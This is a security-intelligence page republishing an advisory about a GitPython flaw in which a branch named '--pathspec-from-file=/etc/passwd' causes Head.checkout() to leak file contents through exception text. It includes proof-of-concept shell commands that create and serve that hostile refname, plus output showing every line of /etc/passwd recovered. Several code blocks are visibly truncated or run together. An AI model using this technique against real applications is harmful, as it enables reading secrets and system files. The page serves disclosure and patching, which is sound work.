KEVWire

Security intelligence, with context.

Response snapshot Oct 27, 2026, 16:31 UTC

Back to the wire
Permalink
VulnerabilityGHSA-23mf-xhv8-69c2

GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679)

> **A note on the referenced files.** This report was submitted through GitHub's private > vulnerability reporting API, which carries no attachments. Every transcript this report leans > on is reproduced **inline above**, verbatim. The file names it mentions (`poc.sh`, `poc.

At a glance

Exploited
Not known
Severity
Not scored yet
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: GitPython: 3.2.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-23mf-xhv8-69c2 (opens a new tab)

What happened

> **A note on the referenced files.** This report was submitted through GitHub's private > vulnerability reporting API, which carries no attachments. Every transcript this report leans > on is reproduced **inline above**, verbatim. The file names it mentions (`poc.sh`, `poc.log`, > per-case transcripts, `evidence.md`, `negative-controls.

md`, blob-sweep tables) are the local > evidence bundle those inline excerpts were extracted from, with a checksum manifest. I am happy > to send the bundle by any channel you prefer, or to open a private fork — just say which. The > PoC scripts are self-contained and reproduce the result from a clean environment.

---

**Affected:** ` "The audit also found that **reset's positional commit could carry the option before its argument > separator**. […] **Check reset's positional commit as well as keyword options**"

Continue reading

`HEAD.reset` got the fix. `Head.checkout` did not, and `1b0d2d9b` did not come back for it.

## Affected Asset

| | | |---|---| | Package | `GitPython` (PyPI) | | Affected versions | **` List[str]: """Collect possible option spellings before command-line transformation.""" options = [ option for option in cls._unpack_args([arg for arg in args if arg is not None]) if option.startswith("-") ] ```

So `_option_candidates([], kwargs)` means: *check the keyword arguments, never check the positional arguments this method puts on the command line.* That is fine when the method has no attacker-influenced positional, or when it separates them with `--`.

`git/refs/head.py:283-293` — `Head.checkout()` has neither:

```python if not allow_unsafe_options: Git.check_unsafe_options( options=Git._option_candidates([], kwargs), unsafe_options=Git.unsafe_git_pathspec_from_file_options, ) kwargs["f"] = force if kwargs["f"] is False: kwargs.pop("f")

self.repo.git.checkout(self, **kwargs) ```

`self` is the only positional. It serialises to the branch name, lands in the `git checkout` argv, and is not in the list the guard inspects. `_call_process` builds `args_list = opt_args + ext_args`, so keyword-derived options precede positionals — which is why the rest of the library puts `"--"` first (`Remote.fetch/pull/push`, `Repo._clone`, `Repo.archive`, `IndexFile.remove`, `Commit.count` all do). `Head.checkout` does not.

### Why the branch name is attacker-controlled

Git accepts a refname whose branch component begins with `-` and contains `/` (`raw/02-refname-accepted-and-cloned.txt`):

``` >>> git check-ref-format 'refs/heads/--pathspec-from-file=/etc/passwd' exit=0 stderr='' => un refname que empieza con '-' y lleva '/' es VALIDO para git

>>> git -C update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' beea87239099 exit=0 stderr='' >>> git -C symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd' exit=0 HEAD del bare = refs/heads/--pathspec-from-file=/etc/passwd ref en disco como arbol jerarquico: True

>>> Repo.clone_from('file:// ', ) # la app solo clona ramas LOCALES creadas por el clone, sin que nadie las pida: refs/heads/--pathspec-from-file=/etc/passwd repo.active_branch.name = '--pathspec-from-file=/etc/passwd' coincide con el nombre hostil: True ```

The transcript above also shows the second half: `git clone` **materialises that branch locally on its own** when the remote `HEAD` points at it — the consuming application never asks for it.

A plain git server accepts the refname over `receive-pack`, with no `--force` and no special config (`raw/06-push-accepts-refname.txt`), so the attacker does not need filesystem access to a server — a `git push` is enough. That measurement, and the clone in `raw/02`, both use the `file://` transport, which exercises the same git wire protocol as `https://`; I did not test against a hosted forge, since that would mean writing to a third party.

### Why the leak reaches the caller

The file contents are in `CommandError.__str__`, not only in the `.stderr` attribute (`git/exc.py`):

```python self.stderr = stderr_decode and "\n stderr: '%s'" % stderr_decode or ""

def __str__(self) -> str: return (self._msg + "\n cmdline: %s%s%s") % ( self._cmd, self._cause, self._cmdline, self.stdout, self.stderr, ) ```

So `logging.exception(...)`, `print(e)`, or simply **not catching** the exception all disclose the file. The developer does not have to know `.stderr` exists.

### Full chain

``` Repo.clone_from( ) ↓ remote HEAD points at refs/heads/--pathspec-from-file=/etc/passwd ↓ git clone creates that LOCAL branch unasked repo.active_branch → Head with name = "--pathspec-from-file=/etc/passwd" ↓ Head.checkout() git/refs/head.py:286 — guard inspects kwargs only ↓ self.repo.git.checkout(self, **kwargs) git/refs/head.

py:293 — no "--" git checkout --pathspec-from-file=/etc/passwd ↓ git emits one `error:` per unmatched pathspec — one per line of the file GitCommandError → CommandError.__str__ → the consumer ```

## Steps to Reproduce

Environment: GitPython 3.1.62, git 2.55.0, Linux x86_64, disposable venv. Everything local — temporary repositories and the `file://` transport. No remote hosts, no third-party repositories.

The bundled `poc.sh` runs all seven scenarios as a single unit and writes `poc.log` plus one file per scenario under `raw/`. Minimal manual reproduction:

```bash python3 -m venv /tmp/gp && /tmp/gp/bin/python -m pip install gitpython==3.1.62

W=$(mktemp -d) git init -q -b main "$W/a"; echo x > "$W/a/f.txt" git -C "$W/a" add f.txt git -C "$W/a" -c user.email=a@b -c user.name=a commit -qm c git clone -q --bare "$W/a" "$W/a.git" SHA=$(git -C "$W/a.git" rev-parse HEAD)

# the attacker names their default branch after the file they want git -C "$W/a.git" update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' "$SHA" git -C "$W/a.git" symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'

cat > "$W/consumer.py" GitCommandError. Lineas de /etc/passwd recuperadas: 34 de 34 ```

## Impact

An attacker who can get an application to clone a repository they control reads any

Affected package ranges reported by GitHub: GitPython: <= 3.1.62

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-23mf-xhv8-69c2 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-23mf-xhv8-69c2, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 27). GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679). https://kevwire.com/record/GHSA-23mf-xhv8-69c2

MLA

"GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679)." KEVWire, 27 Oct. 2026, kevwire.com/record/GHSA-23mf-xhv8-69c2.

Chicago

KEVWire. "GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679)." Last modified October 27, 2026. https://kevwire.com/record/GHSA-23mf-xhv8-69c2.

Evidence summary (plain text)

GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679) (Oct 27, 2026).
> **A note on the referenced files.** This report was submitted through GitHub's private
> vulnerability reporting API, which carries no attachments. Every transcript this report leans
> on is reproduced **inline above**, verbatim. The file names it mentions (`poc.sh`, `poc.log`,
> per-case transcripts, `evidence.md`, `negative-controls.md`, blob-sweep tables) are the local
> evidence bundle those inline excerpts were extracted from, with a checksum manifest. I am happy
> to send the bundle by any channel you prefer, or to open a private fork — just say which. The
> PoC scripts are self-contained and reproduce the result from a clean environment.

---
Sources:
GitHub-reviewed advisory GHSA-23mf-xhv8-69c2: https://github.com/advisories/GHSA-23mf-xhv8-69c2
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: GHSA-23mf-xhv8-69c2.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 16:25 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are not available yet. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail